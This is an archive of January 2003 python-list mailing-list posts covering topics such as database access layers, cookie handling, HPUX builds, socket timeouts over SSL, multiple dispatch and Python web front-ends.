> Deciding whether to use features that arespecific to a particular OS
> should be the prerogative of the application designer, not the
> programming language.

  Absolutely.  And this is the case with Python.  If your application needs
a platform specific feature, you can write an extension module to support
it.

  Whether a feature is supported *in the core language* and the *official
distribution* -is- up to the language developers, though, especially in the
case of free software.

  Jp

-- 
"Pascal is Pascal is Pascal is dog meat."
                -- M. Devine and P. Larson, Computer Science 340
-- 
 up 39 days, 23:49, 2 users, load average: 0.74, 0.69, 0.60
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/ee61e7e5/attachment.sig>

From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sat Jan 18 14:05:31 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sat, 18 Jan 2003 20:05:31 +0100
Subject: Cookies module
In-Reply-To: <mailman.1042894713.21256.python-list@python.org>
References: <mailman.1042894713.21256.python-list@python.org>
Message-ID: <3E29A57B.6050807@NOSPAM-REMOVETHIS-xs4all.nl>

A wrote:
> Hi all,
> Is there a cookie module that handles cookies on a client side and would work with httplib 
> module?

Yes, and its called........ (drumroll) .... ClientCookie!!

http://wwwsearch.sourceforge.net/ClientCookie/

Though I don't know if it works with httplib.. I'm using it with urllib.

irmen de jong




From beerse at oops.zonnet.nl  Mon Jan 27 07:39:11 2003
From: beerse at oops.zonnet.nl (=?iso-8859-1?Q?Corn=E9?= Beerse)
Date: Mon, 27 Jan 2003 13:39:11 +0100
Subject: Help compiling python on HPUX
References: <Xns930D74A3B3D60ID134675userdfncisd@130.133.1.4>
Message-ID: <3e352872$0$235$4d4ebb8e@read.news.nl.uu.net>

"Paul D. Lusk" wrote:
> 
> We are using python at Radford University on HPUX, but we have encountered
> a problem. When we moved the python executable from our test machine to
> the production machine, we got an error message when trying use
> DCOracle2:

If you just use python and have not altered the source way to much, try
to install the python from the porting site at
http://hpux.tn.tudelft.nl/hppd/hpux/Languages/python-2.2.1/ or one of
the other mirrors.

Take note of the dependencies (ncurses) at the page.

CBee

> 
> /usr/lib/dld.sl: Can't shl_load() a library containing Thread Local
> Storage:
> /usr/lib/libcl.2
> /usr/lib/dld.sl: Exec format error
> 
> On the test machine, we solved this by setting LD_PRELOAD=/usr/lib/libcl.2
> before running python, but this does not work on the production machine.
> 
> A Google search showed that this problem could be fixed by linking libcl.2
> in when building python, but I don't know where to change the makefile to
> do this. (My C and makefile knowledge is limited, although I did manage to
> compile GCC 3.2 and python 2.2.2 on my Mandrake 8.2 machine).
> 
> Any help would be appreciated.



From mwm at mired.org  Thu Jan  2 23:14:19 2003
From: mwm at mired.org (Mike Meyer)
Date: 02 Jan 2003 22:14:19 -0600
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com>
Message-ID: <x77kdm98f8.fsf@guru.mired.org>

Peter Hansen <peter at engcorp.com> writes:
> Dennis Lee Bieber wrote:
> > eltronic at juno.com fed this fish to the penguins on Thursday 02 January
> > 2003 03:34 pm:
> > > HTML is a programming language, why else would I have to debug it?
> >         Then news posts and email are programming languages too, as I have to
> > debug (spell-check) them <G>
> I see the grin, but note that this is exactly why those
> are *not* programming languages, while HTML definitely is.
> If you write the wrong HTML, the computer does not do what it is
> supposed to do, while if you put the wrong content in your email
> or news post, only humans mind.

Now you're defining a programming language as something written while
programming, and programming as a process that includes debugging.

Which means that the secretary using word to whip up HTML isn't
programming, because he doesn't debug it. Neither is what I do,
because I don't debug it either; I just run validators over it to make
sure the markup and links are correct. That's essentially the same as
the spelling and diction checking I do on ASCII text.

Personally, I think that insisting that programming languages be
turing complete is a better definition, because it captures the
essence of what programming is. I'm quite happy saying that any
language that isn't turing complete isn't a programming language.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From wyojustin at hotmail.com  Tue Jan 21 21:07:22 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Tue, 21 Jan 2003 21:07:22 -0500
Subject: Database newbie - Sound Software Engineering practice for DB
References: <mailman.1043194598.32555.python-list@python.org>
Message-ID: <GpSdnStfusdBYbCjXTWcpw@comcast.com>

It looks like you are on the right track.  Keep asking yourself these
questions.  I have interjected my thoughts throughout.
Justin

"Otto Tronarp" <otttr440 at student.liu.se> wrote in message
news:mailman.1043194598.32555.python-list at python.org...
> Hi,
>
> I'm a complete database newbie, the little I know I learned the last
> couple of hours when browsing the web, and have a couple of questions on
> what sound software engineering practice is when it comes to using
> databases.
>
> Say that I want to make an app that calculates some statistics of soccer
> matches in several different leagues. So I have the following SQL table:
> CREATE TABLE matches (date DATE,
>                       home_team VARCHAR(20),
>                       away_team VARCHAR(20),
>                       home_score INT,
>                       away_score INT,
>                       league_id VARCHAR(5));
>
> (BTW: Is it smart to have have all the matches from all leagues in the
> same table or should I have one matches table per league?)

Use the minimal number of tables such that no data is duplicated.   Filters
are easier to write than joins.  You have it right here.

<...snip...>

>
> But it doesn't look to good with all those "raw" SQL statements
> cluttered everywhere in the code, if I change the structure of the table
> I might need to change the code in a lot of places. So, I thought it was
> a good idea to hide it in a class, maybe something like this.
>
> class LeagueDB:
>     def __init__ (self, con, dbname):
>         self.con = con
>         self.dbname = dbname
>     def _newCursor(self):
>         cur = self.con.cursor()
>         #with MySQLdb I could use db.select_db but this
>         #doesn't look like a part of the DB2 API so....
>         cur.execute("""USE %s""" % self.dbname)
>         return cur
>
>     def getHomeMatches(self, team):
>         cur = self._newCursor()
>         cur.execute("""SELECT * from matches WHERE home_team="%s" """,
> team)
> return cur

I prefer to have the cursor passed in as an argument.  That way you can let
the database handle all of the permissions.  The users get assigned a
connection when they log in and you never have to worry about tracking them.

>
> But often I want different constraints on the query, like only matches
> before a specific date or in a specific time period, etc. I could do a
> getHomeMatchesBeforeDate(self, team, date),
> getHomeMatchesForTimePeriod(self, team, start_date, end_date) but it is
> pretty clumsy so I want something like getHomeMatches(self, team,
> constraints), any ideas how I could implement that in a smooth way?

Make the common thing easy and the uncommon possible.  I do this by writing
the common querries as you have with a couple of extra defaulted arguments:
fields='*' and where='1'.  Then your query becomes something like

sql = 'select %s from TABLE where %s' % (fields, where)

I am working on a python/MySQL spelling application currently that three
data layers and a GUI layer.  The data layers are:
1. database later (MySQL)
2. DB module -- class reprensentation of the database tables
3. SmartRow module -- class represention of the rows and relationships.

The application only interacts with the SmartRow module.  You can browse the
csv on our sourceforge project if you want to have a look.
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/spellquest/spellquest/spellqu
est/

>... Or
> am I completely off track and should use raw SQL queries all the time?

I think you are on the right track.  Try to keep the SQL isolated to a
module or two.

> Or is there another way?

I've seen a few projects that are supposed to automatically write the
interface to your db but I haven't tried the.  Check out the daily python
url (linked on python.org), I think I saw them there.

Good luck and let me know if you have any good ideas for SpellQuest





From ralf.oberlaender at emsys.de  Thu Jan  9 10:11:51 2003
From: ralf.oberlaender at emsys.de (=?ISO-8859-1?Q?Ralf_Oberl=E4nder?=)
Date: Thu, 09 Jan 2003 16:11:51 +0100
Subject: get instance name  inside of member function
References: <3E1D869F.2050809@emsys.de> <3E1D8FFC.78FA61D1@engcorp.com>
Message-ID: <3E1D9137.6050300@emsys.de>


Peter Hansen schrieb:
> Ralf Oberl?nder wrote:
> 
>>Hi gurus,
>>
>>is it possible to get the name of the instance inside a member function:
> 
> 
> Basically, no.  The question is broken though: in Python there is
> not _the_ name, only _a_ name.  An object cannot find "the" name 
> bound to it because there can be many.
> 
> 
>>class a:
>>     def inst_name():
>>         pass
>>
>>inst=a
>>
>>so that
>>
>>inst.inst_name()
>>
>>results in the string "inst"
>>
>>I need it for logging
> 
> 
> Good that you provided your actual goal; most people do not.
> 
> For logging, it's normal to supply "the" name to the initializer
> when you create the instance, and use that in logging.
> 
> class A:   # also standard style to use Capitalized name for a class
>     def __init__(self, name):
>         self.name = name
>     def inst_name():
>         return self.name
> 
> inst = A('anA')
> inst.inst_name()  
> 
> # returns 'anA'
> 
> -Peter

This should work

Thank you




From gerhard.haering at gmx.de  Thu Jan  2 16:24:32 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 2 Jan 2003 21:24:32 GMT
Subject: Executing a modified function
References: <r0idna5vDeAYNImjXTWcqg@comcast.com>
Message-ID: <slrnb19bgg.169.gerhard.haering@lilith.my-fqdn.de>

Dave Bazell wrote:
> If I enter python

The interactive interpreter, I suppose.

> and run a funtion, then I modify it

How do you modifiy it? Do you compile a new function bound to the same
name, like I do below?

> and try to run it again, it appears I execute the old version.

Not for me:

#v+
>>> def foo(): print 4
...
>>> foo()
4
>>> def foo(): print 5
...
>>> foo()
5
#v-

> Is there a way to force the new version to be executed in this
> situation, without leaving python and starting again?

Can you demonstrate with a code snippet how Python doesn't do what you
expect it to do?

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From cnetzer at mail.arc.nasa.gov  Wed Jan 22 20:13:33 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 22 Jan 2003 17:13:33 -0800
Subject: logging module missing in 2.3a1
In-Reply-To: <200301230105.RAA21342@mail.arc.nasa.gov>
References: <f9068f8e.0301221602.3d97dbd@posting.google.com> <200301230105.RAA21342@mail.arc.nasa.gov>
Message-ID: <200301230113.RAA01863@mail.arc.nasa.gov>

On Wednesday 22 January 2003 17:05, Chad Netzer wrote:

> Do you mean:
> import warnings

Never mind; I can see that you don't...  logging module was 
(supposedly) added to 2.3.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From claird at lairds.com  Thu Jan  9 11:19:11 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 09 Jan 2003 16:19:11 -0000
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <mailman.1042095148.4015.python-list@python.org> <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com> <mailman.1042119797.10638.python-list@python.org>
Message-ID: <v1r87vpu6add72@corp.supernews.com>

In article <mailman.1042119797.10638.python-list at python.org>,
Laura Creighton  <lac at strakt.com> wrote:
			.
			.
			.
>This was not a flame.  If this statement is true, in the United States,
>which goes around preaching the value of individualism, than things are
>even worse than I thought.
>
>> Are you saying colleges are individuals?  Or maybe you think there should be
>> 15 million "best" ways to teach computer science so that we can all have
>> different individual approaches to programming.  Each of us should invent
>> our own programming language and only use that?
>
>No, I expected answers in the form -- it depends on what you want to
>do. 'XXX and YYY are better for fundamental algorithms, and AAA and BBB are 
>better places to study computer graphics and animation, and the best
>data base theorists are at DDD and EEE' and so on and so forth.  
>Computer Science is such a wonderful, varied field, and somebody out
>there is asserting that whatever strengths a faculty has is irrelevant
>to undergraduates, since they would get the same program if they
>studied anywhere, including, I presume some outfit in Phoenix that
>keeps filling my mailbox with spam.
>
>There is _something_ _seriously_ _wrong_ if it doesn't make a difference 
>where you study.
			.
			.
			.
Pssst ...  Laura, there are several things *seriously wrong* hereabouts.

I'm working *hard* to avoid veering off into politics.  There are a few
facts that bear articulation (or, for some, repetition--several people
have already offered delightful observations in this thread):

College education is a racket.  The higher education system has a
fascinating and distinguished tradition over the last thousand
years of occidental civilization.  It now ... well, there are a lot
of students and families incurring unconscionable debt for results they 
understand only poorly.

College education is also almost unbearably neat.  While several
European countries push themselves toward egalitarianism--education
in Lyon is supposed to be as good as that available in Paris,
according to this principle--North America enjoys an almost unimag-
inable diversity of colleges.  They are NOT all the same at the
undergraduate level.

However, individual qualities remain more determinative of educational
achievement than institutional ones.  I've got abundant anecdotal
evidence of motivated people deriving more from low-prestige community
colleges than better-heeled slackers doing at, say, Stanford.

Someone who's trying to decide between networking and "regular 
programming" might notice little difference from one school to the
next.  Any undergraduate program will give him comparable contact,
exposure, and diploma, in that sense.

When I'm hiring, I look favorably on the music majors and anthropologists
that come my way.  Not all employers are like that.

I can no longer keep track of departmental strengths ('cept I still
respect CMU for SE).  I leave that to others.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From clifford.wells at attbi.com  Tue Jan  7 23:58:17 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 07 Jan 2003 20:58:17 -0800
Subject: List glitches?
In-Reply-To: <ml6G+kKkX4gT092yn@gnosis.cx>         
References: <mailman.1041975154.9872.python-list@python.org>
	 <tktfva.d74.ln@beastie.ix.netcom.com>  <ml6G+kKkX4gT092yn@gnosis.cx> 
Message-ID: <1042001897.6001.192.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-07 at 20:30, Lulu of the Lotus-Eaters wrote:
> |Lulu of the Lotus-Eaters fed this fish to the penguins on Tuesday 07
> |> I've tried posting (via Python list) several times, to no effect.  Not
> |> that this message is all that important, but does anyone know what
> |> sort of problem is going on with c.l.py, python-list, or the relation
> |> between them?
> 
> Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote previously:
> |Well, that might explain why I've seen the below four times.
> 
> I apologize for the extras.  I eventually saw it four times myself also.
> The first try was more than 24 hours before I saw any of them, but all
> four copies appeared at about the same time.  Moreover, I sent a
> different message during the same time frame that appeared much more
> punctually.

It's odd, as stuff I posted via the mailing list at work showed up right
away, yet stuff I posted from home didn't show up until the next day...


-- 
Cliff Wells <clifford.wells at attbi.com>





From andrew at indranet.co.nz  Fri Jan 31 23:20:08 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sat, 01 Feb 2003 17:20:08 +1300
Subject: will Python do me good?
In-Reply-To: <65050d4c.0301311603.4eb79a85@posting.google.com>
References: <65050d4c.0301311603.4eb79a85@posting.google.com>
Message-ID: <1165980000.1044073208@localhost.localdomain>

--On Friday, January 31, 2003 16:03:26 -0800 samphdauto <samj at eisa.net.au> 
wrote:

> Hello every one.. Well, this is the first time I post here since I am
> thinking of learning Python... my background is VB and wanting to find
> a better language in order to build my project and not sure if Python
> is my best option. So your input is greatly appreciated.
> My project will need to extract and re-organize information form the
> web into my Access database under W2K. The info could be text, data,
> files, images, sound files, listings, HTML parsing, sound parsing and
> whathaveyou.
>
> So if I give it a list of websites. I will need to write the code to
> get specific info from that site or page. So it may need to drill down
> to get to the info. I am not sure if I am making enough sense to you.
> I hope I am.

Well, this certainly can be done in Python, and much less painfully than in 
VB.  You might be well advised to choose a different database, though (I 
can't claim to be an expert on that, but I'd use Access only if forced to). 
Since both MySQL and Postgresql are available for Windows for free, and 
both are improvements on Access, you probably are not forced to.

Andrew

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030201/8b4d6337/attachment.sig>

From amk at amk.ca  Tue Jan 28 08:16:10 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Tue, 28 Jan 2003 07:16:10 -0600
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org>
Message-ID: <at2dndEOBM4HH6ujXTWcrg@speakeasy.net>

Also, Newsbruiser: http://newsbruiser.tigris.org .

--amk



From lbrannma at cablespeed.com  Sat Jan 18 13:54:27 2003
From: lbrannma at cablespeed.com (Lance)
Date: Sat, 18 Jan 2003 10:54:27 -0800
Subject: open an html string in a browser?
Message-ID: <v2j7tdai7bk9a9@corp.supernews.com>

Hi All,

I have a zip file containing perhaps 800 html files. I want to use Python to
open one of these files in a browser.
Suppose the filename is myfile.html.

I've tried webbrowser and zipfile. These don't work.

The reason is that zipfile.read('myfile.html') returns a string, containing
the contents of the file. However, Webbrowser requires a URL (in this case
the name of an html file).

I don't want to save the string from zipfile.read to disk.

Any suggestions will be appreciated.

Thanks,
Lance





From joseph.slater at wright.edu  Thu Jan 23 10:29:11 2003
From: joseph.slater at wright.edu (Joseph C. Slater)
Date: Thu, 23 Jan 2003 10:29:11 -0500
Subject: paths (Newbee question)
Message-ID: <6C0EF928-2EE7-11D7-BC0A-003065796AD2@wright.edu>

I'm trying to use os.popen to run ps2pdf on a file. This works fine, as 
long as p2pdf is in the path, along with all of the other things it 
needs. To make a long story short, how do I, inside python, not in the 
call, set these paths?

I'm expecting this is pretty easy. Problem being, after applying that 
required 4 hours, I'm not finding it.
Thanks,
Joe
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
(+1) 937-775-5085
http://www.cs.wright.edu/~jslater





From vanevery at 3DProgrammer.com  Fri Jan 31 18:57:30 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:57:30 GMT
Subject: blood flow to the brain (was)
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <mailman.1043800733.19006.python-list@python.org> <65d29696.0301302321.6439c897@posting.google.com> <mailman.1044004815.27987.python-list@python.org>
Message-ID: <K3E_9.919$ek4.92479@newsread2.prod.itd.earthlink.net>

Laura Creighton wrote:
>
> Alas.  I hope the Buddhists and Hindus are correct.  One lifetime
> isn't enough.

I think one of the main challenges of life - particularly poignant to a
coder - is not to get bogged down in intractable complexity.  Really, you
could clean your house every day.  You could plan where every atom of dust
is supposed to go.  But that merely creates a lot of labor for you.
Similarly, it is not important to try to correlate bloodflow in the brain
with programming style.  Nor to get bogged down in how every brick in the
apartment building across the street is slightly different from every other
brick.  It's actually pretty amazing that living organisms negotiate all
this complexity so deftly.  Why shouldn't a snail, for instance, become
infinitely confused about available food sources?  Because then it would
die.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From dglenn at charter.net  Fri Jan 17 17:22:22 2003
From: dglenn at charter.net (Doug Glenn)
Date: Fri, 17 Jan 2003 17:22:22 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <3e273aac_6@corp-goliath.newsgroups.com>
References: <mailman.1042650398.19724.python-list@python.org> <mailman.1042755331.3986.python-list@python.org> <3e273aac_6@corp-goliath.newsgroups.com>
Message-ID: <200301171722.22786.dglenn@charter.net>

On Thursday 16 January 2003 18:40, Roger Upole wrote:
> What error do you get when you try to adjust SE_TCB_NAME ?

I have it working now. As is, it will not grant the SE_TCB_NAME, it had 
to be done manually to the local policy.  I get a 1300 error attempting 
to set it. Once I set the "act as operating system" to the appropriate 
group it would work.  I do not know if this is set by a default 
installation or not. I do know we don't have it set, and apparently our 
policy does not remove it either.  I don't use Win2k at home to verify 
what the default install would set it to.

If it is supposed to be able to set that, then that functionality no 
longer works. At least in the version of ActivePython 2.2.2 from 
ActiveState with the bundled version of the Pywin stuff. I can't 
install the seperate version because it blows up Komodo unless I remove 
it and reinstall the AS version :(

Obviously I would rather be able to grant the rights via the program. 
Going through a policy change review at work to get it set is not a 
workable solution just for this one app. 

I've sent a note to the author and to ActiveState, but I am doubtful I 
will hear anything back until later next week. 

Regards,
Doug




From ericmattes at yahoo.com  Tue Jan 28 17:31:09 2003
From: ericmattes at yahoo.com (Eric Mattes)
Date: Tue, 28 Jan 2003 17:31:09 -0500
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <FnCZ9.63502$1b.17550@news1.central.cox.net>
Message-ID: <b170bd$omm$1@newsmaster.cc.columbia.edu>

Wow, this looks great. Thanks to all of you for your advice!
-E

"Jeff Hinrichs" <jlh at cox.net> wrote in message
news:FnCZ9.63502$1b.17550 at news1.central.cox.net...
> twisted.
> http://www.twistedmatrix.com/
>
> I use it to build portable, lightweight, browser based apps.  Good
success,
> decent example code. More robust, IMO, than CGIHTTPserver.
>
> example of killing the server from the browser:
> #
> # stop.rpy - kill a twisted web server
> # $Id: stop.rpy 30 2003-01-04 05:58:27Z JeffH $
> #
> from twisted.web import resource
> from twisted.internet import reactor
> class myResource(resource.Resource):
>     def render(self, request):
>         reactor.stop()
>         return ""
>
> resource = myResource()
>
> have fun!
> -Jeff
>
> "Eric Mattes" <ericmattes at yahoo.com> wrote in message
> news:fd5aa35c.0301280922.a952dc7 at posting.google.com...
> > Hi.
> >
> > I'd like to know if anyone knows a way to write a python program that
> > can be interfaced with through a web browser. I've been investigating
> > some GUIs and although I've written a prototype GUI in Tkinter, it
> > lacks personality. I'd like to make a nice GUI using HTML. Has anyone
> > done anything like this before? If so, how? Would it involve
> > embedding/using BaseHTTPServer? Ideally this would run on both Windows
> > and Mac OS.
> >
> > Any ideas? Thanks!
> > -E
>
>





From gtalvola at nameconnector.com  Mon Jan 27 11:41:13 2003
From: gtalvola at nameconnector.com (Geoffrey Talvola)
Date: Mon, 27 Jan 2003 11:41:13 -0500
Subject: socket wedged forever in recv()
Message-ID: <61957B071FF421419E567A28A45C7FE54010E1@mailbox.nameconnector.com>

Richard Jones [mailto:rjones at ekit-inc.com] wrote:
> On Sat, 25 Jan 2003 8:47 am, Geoffrey Talvola wrote:
> > I have a Windows NT client application that uses httplib to 
> > make requests
> > to a Windows NT server running Apache 2.0 serving up a cgi script.
> > Unfortunately, if I reboot the Apache server, if a request 
> > is in-progress,
> > the client will often wedge permanently.  I built a debug 
> > version of Python
> > 2.2.2 and verified that the client is stuck in a call to 
> > recv() and will
> > apparently never exit.  It's a little irritating that the 
> > client can't
> > detect the situation and return from recv() with an error 
> > code at this
> > point.  Does anyone know a way to get the client to notice 
> > that the server
> > is gone?
> 
> With a timeout, as you've already discovered.
> 
> 
> > I have a couple of ideas for workarounds.  timeoutsocket.py 
> > (1) can avoid
> > the problem for non-SSL connections but it doesn't work for 
> > SSL connections
> > at all, and my application needs to make some SSL 
> > connections as well as
> > non-SSL connections.  I'm also going to try Python 2.3a1 to 
> > see if its new
> > support for timeout on sockets works with SSL.
> 
> Apparently this _is_ fixed in 2.3

Unfortunately, this appears to be broken in 2.3a1 -- if you try to set a
timeout on the socket of a HTTPSConnection object, the CPU usage shoots up
to 100% and memory usage skyrockets but you still don't get the timeout you
wanted.  I'm going to enter a bug report about this.

The good news is that I figured out how to patch timeoutsocket.py so that it
_does_ work with SSL, without having to upgrade to Python 2.3.  I've sent
the patch to the author of timeoutsocket.py so presumably he'll release a
new version if he likes my patch, but if you want it sooner, just email me
and I'll send you the patch.

- Geoff




From pjmacz at slcj.uw.edu.pl  Thu Jan  2 07:52:46 2003
From: pjmacz at slcj.uw.edu.pl (Pawel J. Maczewski)
Date: Thu, 2 Jan 2003 13:52:46 +0100
Subject: Printing
Message-ID: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl>

Hi,
  I have a question: how to print (sic!) in python (I use wxPy). The point
is, that is should be os-independent :) I can generate the data to print
in XML, HTML, PS... how to print it under windows? ;)

best regards,
   Pawel J. Maczewski @ HIL
    reg.linux user #281878




From imbosol at vt.edu  Sat Jan 18 16:24:15 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 18 Jan 2003 21:24:15 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain>
Message-ID: <3CjW9.13022$xx4.4835@nwrddc01.gnilink.net>

Grant Edwards wrote:
> In article <Xns9307CD595EDCBrcamesz at amesz.demon.nl>, Robert Amesz wrote:
>> Grant Edwards wrote:
>> 
>>>> Is method/function overloading common in Python modules?
>>> 
>>> No.  It's isn't supported.  The language does not allow it. 
>>> Therefore, it is not common.
>> 
>> It's not that the language doesn't allow it, it's just that dynamic 
>> typing makes it impossible to decide beforehand what methods/functions 
>> would be called.
> 
> The language doesn't allow one to declare the types of function/method
> parameters.  Therefore function/method overloading is not possible.  In my
> mind, that can be summarized as "the language doesn't allow it."


His point is that you can write a function that dispatches on type
manually, like this:

    def fn(x):
        if type(x) == type(1):
            ...
        elif type(x) == type([]):
            ...


I would call that an overloaded function, even if it isn't technically
an Overloaded Function (tm).  


-- 
CARL BANKS



From BPettersen at NAREX.com  Thu Jan  2 17:40:15 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Thu, 2 Jan 2003 15:40:15 -0700
Subject: Why is xml.dom.minidom so slow?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE3A@admin56.narex.com>

> From: Fredrik Lundh [mailto:fredrik at pythonware.com] 
> 
[...]
> 
> as a general rule, XML toolkits that try to implement the DOM 
> specification in pure Python are incredibly slow and bloated.
> 
> on random XML data, minidom can easily gobble up a kilobyte 
> or two for each element.  in one of my benchmarks, it used 
> about 50 bytes of object memory for each input character:

[lots of good references...]

Thanks Fredrik! I'll look into the various options and post any
interesting findings :-)

-- bjorn




From dave.barnes at tandemworld.net  Tue Jan  7 12:40:23 2003
From: dave.barnes at tandemworld.net (tandemworld)
Date: Tue, 07 Jan 2003 17:40:23 +0000
Subject: Python Port to Tandem Himalaya
References: <f61758c4.0212170025.4c5be179@posting.google.com>
Message-ID: <2357511.1041961223@dbforums.com>

Hi,

Wishing you all a Happy and Prosperous New Year from Tandemworld.net and
MECS Europe.

Would you like to truly web enable your legacy Tandem / HP NonStop (tm)
applications without any Development costs?

If yes, then please ask TandemWorld at
http://www.tandemworld.net/ask.php. We can put you in touch with
specialists for web enabling your Tandem / HP NonStop(tm) platforms.

Regards

www.tandemworld.net

Dave Barnes

--
Dave Barnes 07801 540086


Posted via http://dbforums.com



From ny_r_marquez at yahoo.com  Tue Jan 28 08:57:10 2003
From: ny_r_marquez at yahoo.com (R.Marquez)
Date: 28 Jan 2003 05:57:10 -0800
Subject: Slurping Web Pages
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net> <FuQY9.5691$qb1.2425@nwrddc01.gnilink.net> <8a27e309.0301270928.515c38f0@posting.google.com> <d2f38965.0301271712.649e08da@posting.google.com>
Message-ID: <8a27e309.0301280557.2e2ac504@posting.google.com>

follower at iname.com (Follower) wrote in message news:<d2f38965.0301271712.649e08da at posting.google.com>...
> > I am trying to use ie's authentication mechanism to be able
> > to get through our Windows proprietary authentication method.
> You *definitely* want the 'NTLM Authorization Proxy Server' (written
> in Python no less...) located at
> http://www.geocities.com/rozmanov/ntlm/.
> 
> Seriously. Go there now. Get it. Be happy.
> 
> (Works for letting Mozilla access NTLM authorising intranets too...)

Now, that is what I call a great pointer!!!  I am on it.  Thank you so much.

-Ruben



From mertz at gnosis.cx  Fri Jan  3 03:56:11 2003
From: mertz at gnosis.cx (David Mertz)
Date: Fri, 03 Jan 2003 03:56:11 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch>
Message-ID: <rAVF+kKkXA5d092yn@gnosis.cx>                       

"Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
|Unless you have only single inheritance and so you don't need
|linearization of class hierarchies, I don't think the weighted
|approach is manageable.

Well...  I think Damian Conway is pretty smart guy.  And the weighted
approach is what he did in his Perl version.  I'm not necessarily in
favor of that linearization over others, but I don't see anything
obviously wrong about it.

|I think a multi-argument generalization of super (similar also to Cecil
|resend), would be the most flexible, pythonic solution.

My first feeling on reading Pedroni's suggestion was that I should
really implement this.  But as I reflect on it, I have trouble seeing an
actual benefit.

It seems to me that when you want to propogate dispatch to a generic
"less specific" method, you would -always- want to do so either at the
start or end of the current methods code body.

Now I can easily imaging that a method body would want to call on some
-specific- function that happened to be one of the multimethods.  But
AFAICS, it wouldn't be simply "some more general method".  Especially
given that no more general method might be defined at all, and the call
would have to be guarded by a try/except in case nothing existed.

E.g.

    def very_general(...): ...
    def slightly_general(...): ...
    def pretty_specific(...):
        ...do stuff
        val1 = very_general(...)   # this make sense!
        val2 = next_method(...)    # what will this be??!
        ...do more stuff...

    multi.add_rule((Thing,), very_general)
    multi.add_rule((Foo,), slightly_general)
    multi.add_rule((MyOwnFoo,), pretty_specific)

    multi(myownfoo)

Depending only on which rules are defined, the 'next_method()' in
'pretty_specific()' can change its meaning in unpredictable ways.  E.g.

    multi.remove_rule((Foo,))

Changes the whole thing.  Maybe even the type of value returned by the
'next_method()' call.  If "more stuff" depends on that value...

Then again, I am -delighted- to be shown wrong with an example of a
useful use of this sort of thing.

|http://www.dreamsongs.com/NewFiles/ECOOP.pdf

Thanks for this reference.  It's quite interesting.  But I think I'm
more interested in programming (and demonstrating) what is concretely
useful than merely "everything CLOS can do"... y'know what I mean?

Yours, David...

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From martin at v.loewis.de  Sat Jan  4 16:46:10 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 04 Jan 2003 22:46:10 +0100
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk> <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de> <6aTPhIAsouF+EwOI@jessikat.fsnet.co.uk>
Message-ID: <m3k7hk1tct.fsf@mira.informatik.hu-berlin.de>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> Is there any way to get more information about the 'unfreed' things
> mentioned by the cleanup?

Not without changing the interpreter, no. Notice that the number of
interned strings isn't reported at all.

To get a list of all Python objects, you will have to use the debug
build.

Regards,
